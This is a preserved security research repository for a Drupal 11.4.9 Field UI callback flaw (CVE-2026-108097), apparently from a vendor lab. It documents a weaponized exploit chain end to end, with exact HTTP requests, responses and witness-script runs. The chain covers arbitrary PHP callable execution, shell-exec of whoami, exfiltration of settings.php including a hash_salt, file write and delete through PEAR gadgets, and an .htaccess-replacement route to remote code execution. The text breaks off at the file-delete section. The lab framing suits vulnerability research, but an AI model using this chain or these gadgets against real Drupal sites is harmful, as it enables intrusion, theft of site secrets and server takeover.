CVE-2026-108097: Drupal Field UI callback flaw — conditional lab research pack

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- Published: 2026-10-18
- Original: <https://github.com/fortbridge/cve-2026-108097-research>
- Preserved from: https://github.com/fortbridge/cve-2026-108097-research (github-repository-api) on 2026-10-21
- Repository commit: 1b8509713064e440068b0561eaf4a2a458831b2b
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Content

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`README.md`

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CVE-2026-108097: Drupal Field UI callback flaw (lab research pack)

Research evidence pack for Drupal SA-CORE-2026-014 (CVE-2026-108097): the Field UI `FieldUiTable::tablePreRender` row-callback sink, weaponized end-to-end in an isolated Docker lab (paired vulnerable 11.4.9 / patched 11.4.10 sites, loopback-only).

Scope & honesty: the genuine exploit needs a contributed/custom module that lets an HTTP actor influence a row's `#region_callback`. That module is publicly unnamed as of writing. The `lab_bridge/` module here is a **synthetic** stand-in that supplies exactly that writer; it is labeled as such throughout. Everything it invokes is stock Drupal/PEAR/PHP code. All testing was local, marker-only, no hosted or third-party systems.

Contents

- `lab_bridge/`: the synthetic writer module (D11). Maps loopback requests to Field UI table rows carrying chosen callbacks.
- `lab/`: the paired lab itself: `Dockerfile`, `compose.yaml`, and full setup/run/teardown docs (11.4.9 vulnerable vs 11.4.10 patched, loopback-only)
- `witnesses/`: assertion suites proving the affected-vs-patched differentials:
  - `synthetic_http_witness.py`: marker callback differential
  - `rce_capability_witness.py`: arbitrary-callable capability (`print_r` builtin)
  - `rce_shell_witness.py`: OS-command execution through row content (`whoami` / `id` / `uname -a`, allowlisted)
  - `gadget_witness.py`: PEAR gadget weaponization: settings.php exfil, file write/delete, `.htaccess` replacement chain to RCE
- `blogshot_capability.sh` / `blogshot_exfil.sh` / `blogshot_rce.sh` / `blogshot_rce_upload.sh`: the exact single-pane witness scripts behind the blog post figures (vulnerable side only). Pass a fresh nonce per run: probe responses are cached per-URL, so a repeated nonce returns the cached render without re-executing the sink.
- `docs/`
  - `RCE-CAPABILITY-WITNESS.md`: the full evidence log: exact requests, responses, version pins, per-primitive verdicts
- `GADGETS.md`: the callable gadget inventory: 9,934 classes → 5,715 candidates → 2,109 signature-invocable → 7 dangerous (adjudicated, file:line)
- `SYNTHETIC-HTTP-WITNESS.md`: the original synthetic witness writeup
- `UPLOAD-STAGED-WITNESS.md`: the webrce4 variant: payloads staged through a stock unauthenticated webform upload (private:// default), no pre-planted files
- `gadget-inventory/`: the toolchain that produced the inventory (enumerators, probers, triage)
- `screenshots/`: the three single-pane figures used in the blog post (`cve-2026-108097-*-20261018.png`), captured in real interactive shells

Key findings (one line each)

- The sink executes **any** PHP callable named in a row's `#region_callback` with the row as argument (`call_user_func_array($row['#region_callback'], [&$row])`), 11.4.9 only.
- String-arg shell builtins TypeError on the row array; the genuine exploit shape is a callback executing row *content*.

- PEAR `System::cat` / `rm` give read-via-copy, write, and delete primitives keyed off row content.
- A 3-row chain (write marker `.php` → `rm files/.htaccess` → write permissive `files/.htaccess` with `RewriteEngine On` + `php_flag engine on`) yields executed PHP over HTTP on stock Apache+mod_php posture, exploiting Apache's per-dir rewrite-rule inheritance.
- The dead ends are documented too: direct read-to-response, `/proc/self/environ`, cron/SSH paths.
- Payloads need no pre-planted files: both were staged through a stock unauthenticated webform upload (private-files default), then copied by the sink gadgets.

Quickstart

```
# 1. build and install the paired lab (11.4.9 vulnerable / 11.4.10 patched)
cd lab/
docker compose up -d --build
#    then the per-service install + bridge steps, exact commands in lab/README.md

# 2. run the exploit chain end to end (unauthenticated, vulnerable side only)
../witnesses/blogshot_capability.sh  <fresh-nonce>   # sink executes print_r
../witnesses/blogshot_exfil.sh       <fresh-nonce>   # settings.php disclosure
../witnesses/blogshot_rce_upload.sh  <fresh-nonce>   # upload-staged full RCE
```

Always a fresh nonce per run: probe responses are cached per-URL, so a repeated nonce returns the cached render without re-executing the sink.

Lab

Paired loopback Docker sites (11.4.9 vulnerable / 11.4.10 patched) with Field UI enabled; build and install instructions are in `lab/README.md`. The PEAR gadgets (`System::cat` / `System::rm`) resolve from `vendor/pear/pear-core-minimal`, which `drupal/core-recommended` requires; they are present in every stock install, nothing extra was added to the lab.

`docs/GADGETS.md`

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Gadget inventory, FieldUiTable `#region_callback` sink (CVE-2026-108097 lab)

18 October 2026. Target: `drupal108097lab-vulnerable-1` (Drupal 11.4.9, PHP 8.4.26 CLI probes, composer autoload of `/opt/drupal/vendor`). Question answered: **if a writer is**

ever found for a row's `#region_callback`, what existing callables can the attacker actually invoke with exactly one array argument, and what happens?

Sink recap: `call_user_func_array($row['#region_callback'], [&$row])`, the attacker picks ANY string / `[Class, method]` callable; it receives ONE argument: the row array (by reference). The return value is then used as an array key (`$trees[$region_name]`), which matters for adjudication: **return-value-only channels are barely observable** (a string return becomes a bogus region name, never rendered; an object/array return raises a TypeError/illegal-offset, with one nuance below).

Method (built, not hand-picked)

1. **Enumerate** (`discover_classes.php`, `enumerate_chunk.php`, `enumerate_functions.php`, driver `run_enumerate.sh`): composer classmap + PSR-4 roots (Drupal\Core/Component, Symfony, Twig, Guzzle, PEAR, Drush, psysh, …) + every `Drupal\<module>\` class under `web/core/modules`, `web/modules/contrib` (redirect, redirect_field_ui, webform, webform_composite), `web/modules`, 9,934 classes scanned (9527 reflected OK, 407 not loadable in CLI, mostly missing-parent or `Resources/` data files; full list in `loadfail.jsonl`), plus 1,318 internal + 139 userland (composer `files` autoload, e.g. `twig_*`) functions. Public static, non-abstract methods only; deduped by declaring class. Our own `lab_bridge` fixture was excluded.
2. **Signature filter** (reflection): include when required-params ≤ 1 AND first param type ∈ {untyped, mixed, array, iterable, Traversable} (object-typed excluded, can't conjure objects over HTTP; scalar/callable-typed excluded). 5,715 candidates → **2,109 included** (`candidates.jsonl`).
3. **Dynamic probe** (`probe_batch.php`, driver `run_probes.sh`): each included candidate invoked as `call_user_func_array($candidate, [&$probeRow])` in batched CLI processes (never the running Apache/Drupal; no HTTP; no bootstrap). `$probeRow` = the lab row shape carrying only benign markers: `/tmp/lab-probe/...` paths, literal `whoami`, callable-name strings `print_r`, a serialized-stdClass string. Per candidate recorded: outcome class (ArgumentCountError / TypeError / other throwable / returned / process-died), return summary, ob-captured output + marker hits, and filesystem side effects, the only writable area was `/tmp/lab-probe/scratch` (cwd, `sys_temp_dir`, `TMPDIR`, `session.save_path` all pinned there; before/after scan per candidate). Batch fatalities (exit/die) were isolated and retried one-per-process. Full data: `results.jsonl` (2,109 rows).
4. **Adjudicate**: every survivor (1,239 returned normally) was triaged (`triage.py` → `triage_buckets.json`), and everything with side effects, marker echo, or a dangerous-sounding name was read at source level. Shaped flat-array confirmations for the PEAR file primitives were re-run in scratch. Drupal statics that need the container threw `ContainerNotInitializedException` in CLI (181), those were source-read for what they WOULD do in a real request.

Totals

- Candidates scanned: **5,715** (4,258 statics, 1,318 internal functions, 139 userland functions)
- Invocable with one array arg (signature filter): **2,109**, all probed
- Probed outcomes: 1,239 returned · 311 TypeError · 198 ArgumentCountError · 181 container-not-initialized · 141 other throwables · 5 process-died
- Filesystem side effects observed with the nested lab row: **1** (`System::mktemp`, a file named with the row's `whoami` marker)
- Dangerous after source adjudication: **7 callables**, none reaching code exec through this sink (see ceiling)

Adjudicated gadget table

callable	kind	arg tolerance	effect with array input	exploit value	notes
`Drupal\webform\WebformSubmissionForm::submitFormValues`	static (contrib webform)	`array $values` req=1	**Creates AND saves a webform submission entity from array content** (`WebformSubmission::create($values)` → form validate → `$submission->save()` if no errors), firing webform handlers	**content-injection / DB-write (conditional)**	web/modules/contrib/webform/src/WebformSubmissionForm.php:3312. Needs container (real request OK; probe threw CNI). Conditional: array must carry a valid `webform_id` + pass the webform's validation; handler side effects (emails, post-processing) follow the webform's own config. Source-adjudicated; not executed against the live site.

callable	kind	arg tolerance	effect with array input	exploit value	notes
`System::cat`	static (pear-core-minimal)	untyped req=1	**Reads files listed in the array; with `>` / `>>` elements writes/appends a copy to the named output file** (fopen wb/ab+), keyed entirely off array content	**file-write + file-read (conditional)**	vendor/pear/pear-core-minimal/src/System.php:323. Nested lab row → ValueError. Shaped flat row confirmed in scratch: `System::cat(['src','>','dst'])` copied the file. File *contents* only returned, not echoed, through this sink the read half is barely observable; the write half is the payload. URLs work via fopen wrappers per its own docblock (remote-fetch speculation not tested; allow_url_fopen dependent).
`System::rm`	static (pear-core-minimal)	untyped req=1	**Deletes files/dirs named in the array** (`unlink` / `rmdir` per element)	**file-delete (conditional)**	System.php:210. Nested row → TypeError at first nested element; shaped flat row confirmed in scratch: `System::rm([`

callable	kind	arg tolerance	effect with array input	exploit value	notes
					`'file'])` deleted it.
`System::mkDir`	static (pear-core-minimal)	untyped req=1	**Creates directories named in the array** (with `-p`, recursively)	**file-write, dirs (conditional)**	System.php:254. Probe: created dir `print_r` in cwd from row content, then TypeError on the next nested element (partial side effect before the error). Shaped flat row confirmed: `System::mkDir(['/tmp/lab-probe/scratch/mkdir-proof'])` → created.
`System::mktemp`	static (pear-core-minimal)	untyped req=1	**Creates a temp file (or `-d` dir) whose name prefix and target dir come from array content**; registered shutdown handler deletes it at request end	**file-write, transient (observed)**	System.php:395. The one side effect observed with the actual nested lab row: created `…/whoami<random>` in the probe temp dir. In a real request: file in the system temp dir, empty content, attacker-influenced prefix, auto-

callable	kind	arg tolerance	effect with array input	exploit value	notes
					removed at shutdown.
`dd`	function (symfony/var-dumper `files`)	variadic mixed	**Dumps the full row into the response (HTML dumper under web SAPI), sends `HTTP/1.1 500`, then `exit(1)`**	**info-disclosure (row content) + per-request DoS**	vendor/symfony/var-dumper/Resources/functions/dump.php:46. Probe process died by design. Row in a real integration can hold sensitive field values → echoed.
`Symfony\Component\VarDumper\VarDumper::dump`	static	mixed req=1	Dumps the full row (HTML-formatted under web SAPI) into the output; returns the row	info-disclosure (row content)	vendor/symfony/var-dumper/VarDumper.php:41. CLI probe captured nothing (CliDumper writes php://stdout directly); source confirms web output path. Same class of gadget as the already-proven `print_r`.
`print_r` / `var_dump` / `var_export` / `debug_zval_dump`	function (internal)	mixed	Echo full row content	info-disclosure	The known output gadgets; `print_r` already demonstrated end-to-end over HTTP in this lab (`RCE-`

callable	kind	arg tolerance	effect with array input	exploit value	notes
					`CAPABILITY-WITNESS.md`).
`Drupal::unsetContainer`	static (core)	no params	Sets `\Drupal::$container = NULL` mid-request → every subsequent `\Drupal::service()` throws → request fails	per-request DoS	web/core/lib/Drupal.php:162. Returned normally in probe.
`Drupal\language\ConfigurableLanguageManager::rebuildServices`	static (core)	no params	`\Drupal::service('kernel')->invalidateContainer()` → next request rebuilds the DI container	DoS-adjacent (cache/invalidate, slow next request)	web/core/modules/language/src/ConfigurableLanguageManager.php:104. Probe threw CNI; source-read.
`Drupal\jsonapi\Routing\Routes::rebuild`	static (core jsonapi)	no params	Invalidates `jsonapi_resource_types` cache tag + marks router rebuild needed	DoS-adjacent (route rebuild on next request)	web/core/modules/jsonapi/src/Routing/Routes.php:476. Probe threw CNI; source-read.
`Symfony\Component\HttpFoundation\Request::setAllowedHttpMethodOverride`	static	array req=1	Replaces the static method-override allowlist with array content	config-mutation, request-scoped, minor	vendor/symfony/http-foundation/Request.php:743. PHP statics reset per request.
`session_set_cookie_params`	function (internal)	array req=1	Sets session cookie lifetime/path/domain/secure/httponly/samesite from array keys for the rest of the request	config-mutation, request-scoped, minor	PHP internal. Returned true in probe.

callable	kind	arg tolerance	effect with array input	exploit value	notes
`Drupal\Component\FileCache\FileCacheFactory::setConfiguration`	static	untyped req=1	Replaces static FileCache configuration (incl. `directory` / `prefix` used for later cache file paths) with array content	config-mutation, request-scoped, conditional	web/core/lib/Drupal/Component/FileCache/FileCacheFactory.php:93. Could redirect FileCache reads/writes for components that construct caches after the call, same request only.
`PEAR_ErrorStack::staticPushCallback`	static	untyped req=1	Pushes the raw array onto the global error-callback override stack **without validation**; later `PEAR_ErrorStack::push()` would `call_user_func` it	callback-plant, request-scoped, inert for a non-callable row	vendor/pear/pear-core-minimal/src/PEAR/ErrorStack.php:433. Our row is not a valid callable → later push would just warn. `PEAR::registerShutdownFunc` (PEAR.php:284) is the same pattern at shutdown.
`Composer\InstalledVersions::reload`	static	untyped req=1	`self::$installed = $row`, corrupts composer package metadata for the rest of the request	request-scoped tamper, cosmetic	vendor/composer/InstalledVersions.php:319.
`Drupal\Core\Site\Settings::getAll`	static (core)	no params	Returns ALL settings, hash_salt, DB info	**none through this sink**	web/core/lib/Drupal/Core/Site/Settings.php:127. Probe returned null

callable	kind	arg tolerance	effect with array input	exploit value	notes
					(no bootstrap); in a real request it returns the secrets array, but the sink only uses the return as an array key (illegal-offset TypeError), so nothing is exfiltrated. Kept for honesty: dangerous-looking, unobservable here.
`Symfony\Component\String\LazyString::fromCallable`	static	`callable\	array` req=1	Accepts the row because `count($row) > 2` bypasses its guard; would execute `$row[0]()` as a PHP function **when the LazyString is cast to string**	**none through this sink** (the sink uses the return as an array key → TypeError before any cast)
`Psy\Shell::debug`	static (psysh, via drush)	`array $vars` req=0/1	Enters a psysh debug session with the array as scope	hang/DoS risk, no code exec from content	vendor/psy/psysh/src/Shell.php:355. Probe returned normally (stdin /dev/null). Under mod_php the REPL has no usable input;

callable	kind	arg tolerance	effect with array input	exploit value	notes
					worst case a hung request.
`Twig\Extension\CoreExtension::captureOutput`	static	`iterable` req=1	Echoes each top-level row element (strings only; nested arrays warn) and returns the capture	info-disclosure, minimal (top-level strings)	vendor/twig/twig/src/Extension/CoreExtension.php:2202.
`System::find`	static (pear)	untyped req=1	Filesystem enumeration keyed off array content; returns matches	read-only recon, return unobservable through sink	System.php:568. Returned normally.
`assert`	function (internal)	mixed	truthiness check on the array	none	PHP 8.4 removed string-code assertions; `assert($row)` just returns true. Named-suspect cleared by PHP version.

Also explicitly checked and cleared: Symfony ExpressionLanguage (no statics invocable, instance `evaluate()` only), PropertyAccess (`createPropertyAccessor()` no-arg factory), Symfony Yaml / Drupal Yaml (`dump` / `encode` return a string rendering; `decode` / `parse` are string-typed → excluded), Twig statics beyond the table (escaping/casting helpers), `SecurityAdvisory::createFromArray` (UnexpectedValueException), entity `::create` statics (`EntityBase`, `ViewUI`, `Action`, `BaseFieldDefinition`, in-memory object construction only; `save()` is an instance method the sink cannot reach), `WebformElementHelper::process` / `Drush\Drupal\DrupalUtil::drushRender` (element rendering; need container; benign transforms), render `preRender*` statics (benign array transforms).

Honest ceiling statement

With one array argument and the exact observable channels this sink offers (echoed output = observable; side effects = observable; return value = used as an array key, i.e. effectively discarded):

- **Worst case found: persistent DB content injection** via `Drupal\webform\WebformSubmissionForm::submitFormValues`, a webform submission created and saved from array content (with that webform's handlers firing), conditional on the array carrying a valid `webform_id` and passing validation. Requires the webform contrib module (present here, not in stock core).
- **File-level primitives** from PEAR `System::cat` / `rm` / `mkDir` / `mktemp`: read+write/append-copy, delete, mkdir, all keyed off array content, all conditional on the row being a flat string list (the nested render-array shape TypeErrors; only `mktemp` fired on the real lab row). No content control beyond file-copy semantics; no path traversal guards, but also no arbitrary bytes written except copies of existing files.
- **Info disclosure**: full row echo (`print_r` family, `VarDumper::dump`, `dd` + request kill).
- **DoS**: `unsetContainer` (per-request), container/router rebuild flags (next-request cost), `dd` (request kill), psysh debug (hang risk).
- **Not found: any code-execution or command-execution gadget reachable with one array argument.** Every shell/`eval`/`include`/unserialize/string-`assert` path needs either a string first argument (TypeErrors on the row), ≥2 required arguments, or an object we cannot build. The single closest call, `LazyString::fromCallable`, defers execution behind a string cast that this sink never performs. This matches and explains the demonstrated exploit shape in this lab: the working RCE path is a callable that *executes row content it selects* (the `execMarkup` bridge pattern), not a bare builtin.

`docs/RCE-CAPABILITY-WITNESS.md`

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RCE-capability witness on the synthetic bridge, NOT the published contributed-module exploit

18 October 2026 BST. **SYNTHETIC, the bridge module itself installs the callback; this demonstrates the sink's arbitrary-callable capability, not a discovered contributed route.** Everything stated in `SYNTHETIC-HTTP-WITNESS.md` still applies: the `lab_bridge` module at `/opt/drupal/web/modules/custom/lab_bridge` is OUR test fixture, both hosts bind 127.0.0.1 only, and this is not evidence that a stock site exposes this route.

What changed

`lab_bridge` `ProbeController` gained a third allowlisted choice, `?choice=printrow`, mapping to the literal PHP builtin string callable `'print_r'`. A per-request `nonce` query parameter (alphanumeric-sanitised) is embedded in the row's `name` `#markup` so a witness can prove the callback output belongs to that exact request. Safeguards are unchanged and explicit in code comments: no choice maps to exec/system/passthru/shell_exec/file functions;

there is no shell, filesystem, or network effect anywhere in the module. `print_r`'s only effect is printing the row array into the response.

Sink under test

`core/modules/field_ui/src/Element/FieldUiTable.php:72`:

- 11.4.9 (vulnerable): `$region_name = call_user_func_array($row['#region_callback'], [&$row]);`, arbitrary PHP callable, single by-ref row argument.
- 11.4.10 (patched): `$region_name = $row['region']['#value'] ?? '';`, callback never invoked.

Exact requests

Both unauthenticated, loopback only, unique cache-buster (`cb`) per request to defeat the page cache for unauthenticated users (documented gotcha):

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=printrow&nonce=rcedemo20261018a7f3&cb=<unique> GET http://127.0.0.1:18750/lab-field-ui-probe?choice=printrow&nonce=rcedemo20261018a7f3&cb=<unique>

Responses

Vulnerable (11.4.9, container drupal108097lab-vulnerable-1), `HTTP/1.1 200 OK`, `X-Drupal-Dynamic-Cache: UNCACHEABLE (poor cacheability)`. The response body **begins with print_r's output**, proving the engine executed the HTTP-selected callable during this request:

Array ([#region_callback] => print_r [#attributes] => Array ( )

[name] => Array ([#markup] => Harmless lab row rcedemo20261018a7f3) ...

Patched (11.4.10, container drupal108097lab-patched-1), `HTTP/1.1 200 OK`, same cacheability headers. The response contains **no** `[#region_callback] => print_r` and **no** `[#markup] => Harmless lab row rcedemo20261018a7f3` (both signature counts 0). The row instead renders normally as a table cell (`<td>Harmless lab row rcedemo20261018a7f3</td>`), because 11.4.10 reads the region from `$row['region']['#value']` and never invokes the callback.

Version pins (drush status, both healthy at capture time): vulnerable = 11.4.9, patched = 11.4.10. Apache/2.4.68 (Debian), PHP/8.4.26, `X-Generator: Drupal 11`.

Witness runs

`python rce_capability_witness.py` (also re-verifies the original mark/region State differential), run twice from `docker-lab`:

vulnerable mark/region differential marker=1 expected=1 PASS patched mark/region differential marker=0 expected=0 PASS vulnerable printrow http=200 nonce=rcedemoeaaca3ee122e4be6 callable_dump=True nonce_dump=True expected=True PASS patched printrow http=200 nonce=rcedemoe7e47699682a4924 callable_dump=False nonce_dump=False expected=False PASS RCE-CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; see RCE-CAPABILITY-WITNESS.md)

vulnerable mark/region differential marker=1 expected=1 PASS patched mark/region differential marker=0 expected=0 PASS vulnerable printrow http=200 nonce=rcedemoda391fa3b5f1490b callable_dump=True nonce_dump=True expected=True PASS patched printrow http=200 nonce=rcedemoc063a4ee929f4148 callable_dump=False nonce_dump=False expected=False PASS RCE-CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; see RCE-CAPABILITY-WITNESS.md)

The pre-existing `synthetic_http_witness.py` still passes twice on both sites after the module change:

vulnerable unauth_http=200 control=0 marker=1 invalid_choice_no_change=True PASS patched unauth_http=200 control=0 marker=0 invalid_choice_no_change=True PASS

Deployment: edited `lab_bridge/src/Controller/ProbeController.php`, `docker cp -a` into both containers (byte-identical md5 `35eeb7032a09e4494e70c754ad977d78`), `drush cr` on both, then waited out the 60 s opcache `revalidate_freq` window before asserting. Figure: `screenshots/cve-2026-108097-arbitrary-callable-cropped-20261018.png` (single-pane retake).

Supported / NOT supported

Supported: on a real Drupal 11.4.9 HTTP request, an HTTP-selected PHP builtin string callable installed in a Field UI row's `#region_callback` is executed by unmodified core, and its output reaches the response; 11.4.10 does not execute it. This is RCE *capability* of the sink (arbitrary PHP callable invocation) demonstrated end-to-end over HTTP through the synthetic bridge, with an affected-only differential.

NOT supported: a real-world contributed module doing this, an unauthenticated exploit path in default Drupal, arbitrary OS command execution (the shell-exec section below is bounded to an absolute five-command allowlist under owner-amended lab scope; nothing else ever runs), or an exploit of CVE-2026-108097 through the undisclosed route described by Drupal's advisory. The test bridge itself creates the missing trust-boundary crossing. The genuine contrib route remains the open gate for KAN-3011; do not call this the final exploit requested in KAN-3005.

Shell-exec capability, owner-amended scope (18 October 2026)

The owner explicitly amended the no-shell-payload exclusion for this loopback lab on 2026-10-18: a harmless shell-exec demonstration is in scope, bounded to an absolute allowlist of exact command strings, `whoami`, `id`, `hostname`, `pwd`, `uname -a`. Nothing else, ever. Still SYNTHETIC: the bridge module itself installs the callback and carries the command; loopback only.

Why the genuine exploit shape is row-content execution

The sink is `FieldUiTable.php:72`: `call_user_func_array($row['#region_callback'], [&$row])`, the callback receives the **row array by reference**. A direct mapping to a shell builtin TypeErrors on that argument; verified in the lab container:

$ php -r 'try { system(["whoami"]); } catch (Throwable $e) { echo get_class($e), ": ", $e->getMessage(), "\n"; }' TypeError: system(): Argument #1 ($command) must be of type string, array given

So a real payload cannot be `system` as the callback; it must be a callable that executes **attacker-influenced row content**. The new `?choice=execmarkup&cmd=whoami` (cmd default `whoami`) demonstrates exactly that shape: the row's markup carries the requested command, validated against `LabBridgeMarker::EXEC_CMD_ALLOWLIST` (exact match, checked in the controller AND re-validated inside the callback, anything else falls back to the existing `region` no-op), and `#region_callback` maps to `LabBridgeMarker::execMarkup(array &$row)`, which runs `shell_exec()` on the allowlisted row markup and leaves the output where a witness can see it: echoed into the response between `LAB_EXEC_OUTPUT_BEGIN nonce=<N>` / `LAB_EXEC_OUTPUT_END` markers, and stored in State (`lab_bridge.exec_output`) for an independent Drush readback. For this choice the nonce lives only in an unrendered `#exec_nonce` row property, so on the patched site neither the nonce nor any command output appears anywhere in the response.

Exact request (unauthenticated, loopback; unique `cb` defeats the page cache as before)

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=execmarkup&cmd=whoami&nonce=shell20261018b9e1&cb=<unique> GET http://127.0.0.1:18750/lab-field-ui-probe?choice=execmarkup&cmd=whoami&nonce=shell20261018b9e1&cb=<unique>

Responses

Vulnerable (11.4.9), `HTTP/1.1 200 OK`. The response body **begins with the executed command output**, before `<!DOCTYPE html>`:

LAB_EXEC_OUTPUT_BEGIN nonce=shell20261018b9e1 www-data LAB_EXEC_OUTPUT_END

`whoami` ran as the webserver user (`www-data`) inside a real unauthenticated HTTP request. Independent second channel: `drush php:eval 'var_export(\Drupal::state()->get("lab_bridge.exec_output"))'` returns `'www-data\n'`.

Patched (11.4.10), `HTTP/1.1 200 OK`. `LAB_EXEC_OUTPUT_BEGIN`: **0** matches; `www-data`: **0** matches; exec-bound nonce `nonce=shell20261018b9e1`: **0** matches. The row renders normally and inertly (`<td>Harmless lab row</td>`, `<td>whoami</td>`, the command string as plain cell text, never executed). Version pins (drush status): vulnerable = 11.4.9, patched = 11.4.10.

Allowlist enforcement evidence: `?choice=execmarkup&cmd=cat%20/etc/passwd` on the VULNERABLE site returns 200 with **0** `LAB_EXEC_OUTPUT_BEGIN` markers, non-allowlisted input is a no-op.

Assertion nuance: Drupal's `drupal-settings-json` reflects raw query parameters (`currentQuery`) on BOTH builds, so the bare nonce string always appears in the HTML. Only the marker-bound form `LAB_EXEC_OUTPUT_BEGIN nonce=<N>` and the command stdout are evidence of execution, and those are what the witness asserts on.

Witness runs

`python rce_shell_witness.py` (superset: mark/region + printrow + execmarkup + State readback + allowlist-rejection check), run twice from `docker-lab`:

vulnerable mark/region differential marker=1 expected=1 PASS vulnerable printrow http=200 callable_dump=True nonce_dump=True expected=True PASS vulnerable execmarkup http=200 nonce=shell0b56d06674b04f62 exec_block=True whoami_stdout=True expected=True PASS allowlist_reject=True patched mark/region differential marker=0 expected=0 PASS patched printrow http=200 callable_dump=False nonce_dump=False expected=False PASS patched execmarkup http=200 nonce=shelle26a317572534cda exec_block=False whoami_stdout=False expected=False PASS SHELL-EXEC CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; allowlisted commands only)

vulnerable mark/region differential marker=1 expected=1 PASS vulnerable printrow http=200 callable_dump=True nonce_dump=True expected=True PASS vulnerable execmarkup http=200 nonce=shell76ea236aa0294615 exec_block=True whoami_stdout=True expected=True PASS allowlist_reject=True patched mark/region differential marker=0 expected=0 PASS patched printrow http=200 callable_dump=False nonce_dump=False expected=False PASS patched execmarkup http=200 nonce=shell4f59ed4da82e44f3 exec_block=False whoami_stdout=False expected=False PASS SHELL-EXEC CAPABILITY DIFFERENTIAL: PASS (synthetic bridge; allowlisted commands only)

Regression: `rce_capability_witness.py` and `synthetic_http_witness.py` still pass after this module change. Deployment: `docker cp -a` of both edited module files into both containers (byte-identical; ProbeController md5 `fa8cdddbfca875125331e5915b120e17`, LabBridgeMarker md5 `2ec9e34f92083921ed2e92d2f6e68f36`), `drush cr` on both, 60 s opcache `revalidate_freq` window waited out before asserting.

Shell-exec section, supported: on 11.4.9 an HTTP-selected, allowlisted command carried in the row markup is executed by unmodified core through the sink, as the webserver user, with output in the response; 11.4.10 never invokes it. NOT supported: unchanged from

above, still synthetic, still not the undisclosed contrib route, and commands remain bounded to the five-string allowlist.

Gadget weaponization (18 October 2026)

Owner-scoped (2026-10-18): weaponize the adjudicated gadget primitives from `../reachability/gadget-inventory-20261018/GADGETS.md` through the synthetic bridge, file read / file write / RCE-via-file-write, marker-only, loopback, affected-vs-patched. Still SYNTHETIC: `lab_bridge` builds the row and selects the callback; not a discovered contributed route. No shell is involved anywhere below: the gadgets are PEAR `System::*` statics (pure PHP `fopen` / `unlink` / `mkdir`).

Row shaping (empirically verified). The sink passes the WHOLE row by reference, and needs `$row['parent_wrapper']['parent']['#value']` before the callback and `$row['weight']['#value']` after (both tolerate absence with logged warnings only, verified). `System::cat` indexes its argument numerically (`$args[0]`, `$args[1]`, ...) and breaks at the `'>'` element, so numeric gadget args are immune to the row's assoc keys. `System::rm` parses the row's values in insertion order, so its numeric target must precede every nested-array element (a nested element triggers a TypeError *after* earlier elements were already processed, the inventory's half-fired `mkDir` proved this). The bridge (`ProbeController::gadgetTable`) therefore puts numeric args right after `#region_callback`; `filerm` uses a minimal row (callback + numeric path only). Every target path is allowlist/pattern-validated in the controller; anything else is the `region` no-op.

Patched-side rendering artifact (documented mechanism): on 11.4.10 the callback never runs, so the row proceeds to render and Drupal 11's `Element::children()` throws `InvalidArgumentException: "0" is an invalid render array key` on the numeric string gadget args → probe status 500 on patched. On 11.4.9 the callback runs first and its truthy/non-`'content'` return diverts the row into a non-rendered region → 200. The 500 on patched is itself the signature of non-execution; all control assertions are on absence of effect, never on status codes.

fileread, VERDICT: honest negative (no response disclosure)

`GET /lab-field-ui-probe?choice=fileread&file=/etc/passwd&nonce=<n>&cb=<u>` (file allowlist: `/etc/passwd`, `/etc/hostname`, `/opt/drupal/web/sites/default/settings.php`; anything else → no-op). `System::cat` only **returns** file content (never echoes), and its naive `0..count-1` numeric loop hits null slots from the row's assoc keys → `ValueError: Path must not be empty` after the content is read into the discarded return channel. Vulnerable: **HTTP 500, `root:x:0:0` absent** from the body (grep count 0). Patched: HTTP 500 (render artifact), absent. The return-as-array-key channel is unobservable, so direct read-to-response is not achievable with this gadget; the working read path is the copy variant (exfil below).

exfil, VERDICT: critical-file disclosure PROVEN (affected-only)

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=exfil&nonce=gw20261018c4d7&cb=<u> -> HTTP 200 GET http://127.0.0.1:18750/lab-field-ui-probe?choice=exfil&nonce=gw20261018c4d7&cb=<u> -> HTTP 500 (render artifact; nothing executed) GET http://127.0.0.1:18749/sites/default/files/lab-exfil-gw20261018c4d7.txt -> HTTP 200 GET http://127.0.0.1:18750/sites/default/files/lab-exfil-gw20261018c4d7.txt -> HTTP 404

The vulnerable site's response to the second GET **is the served content of `/opt/drupal/web/sites/default/settings.php`**, exfiltrated by `System::cat(['settings.php','>','…/files/lab-exfil-<nonce>.txt'])` through the sink. Unredacted excerpt (disposable lab creds by design):

289:$settings['hash_salt'] = 'VMnegl5VxdjOpWFi6Nh74RsgmP3-T65cuCFhXfEd7wYZVOSqtwv0Drjg6SO90phKrJW9XrhA_A';

plus the `$databases` section (SQLite DSN for this lab). Patched: probe executed nothing, file never created, GET 404.

filewrite, VERDICT: write primitive PROVEN (affected-only)

`choice=filewrite&nonce=<n>` → `System::cat(['/tmp/lab-gadget-src/marker-source.txt','>','…/files/lab-write-<nonce>.txt'])`; `GET /sites/default/files/lab-write-<nonce>.txt` → **HTTP 200, body `LAB-FILEWRITE-MARKER gadget-weaponization 2026-10-18 …`** on vulnerable; 404 + file absent on patched. Content control is limited to copying an existing file (the gadget's genuine capability, no overclaim).

webrce, VERDICT: .php written, execution BLOCKED by files-dir hardening (documented constraint)

`choice=webrce&nonce=<n>` writes the harmless planted marker `/tmp/lab-gadget-src/lab-rce-src.php` (`<?php echo 'LAB-RCE ' . ($_GET['n'] ?? '') . ' ' . PHP_VERSION;`) to `sites/default/files/lab-rce-<nonce>.php` on vulnerable (file existence confirmed in-container). `GET /sites/default/files/lab-rce-<nonce>.php?n=<nonce>` → **HTTP 403 Forbidden**: `files/.htaccess` enforces `SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006` + `php_flag engine off` (SA-2006-006/SA-2013-003 hardening), and the webroot `/opt/drupal/web` is `root:root drwxr-xr-x`, not www-data-writable. So: file-write of an executable-extension file into the web tree is proven; server-side execution is blocked by the stock files-dir hardening, and no www-data-writable PHP-executable path exists in this lab. On patched: probe 500/GET 404, nothing written.

filerm, VERDICT: delete primitive PROVEN (affected-only), allowlist absolute

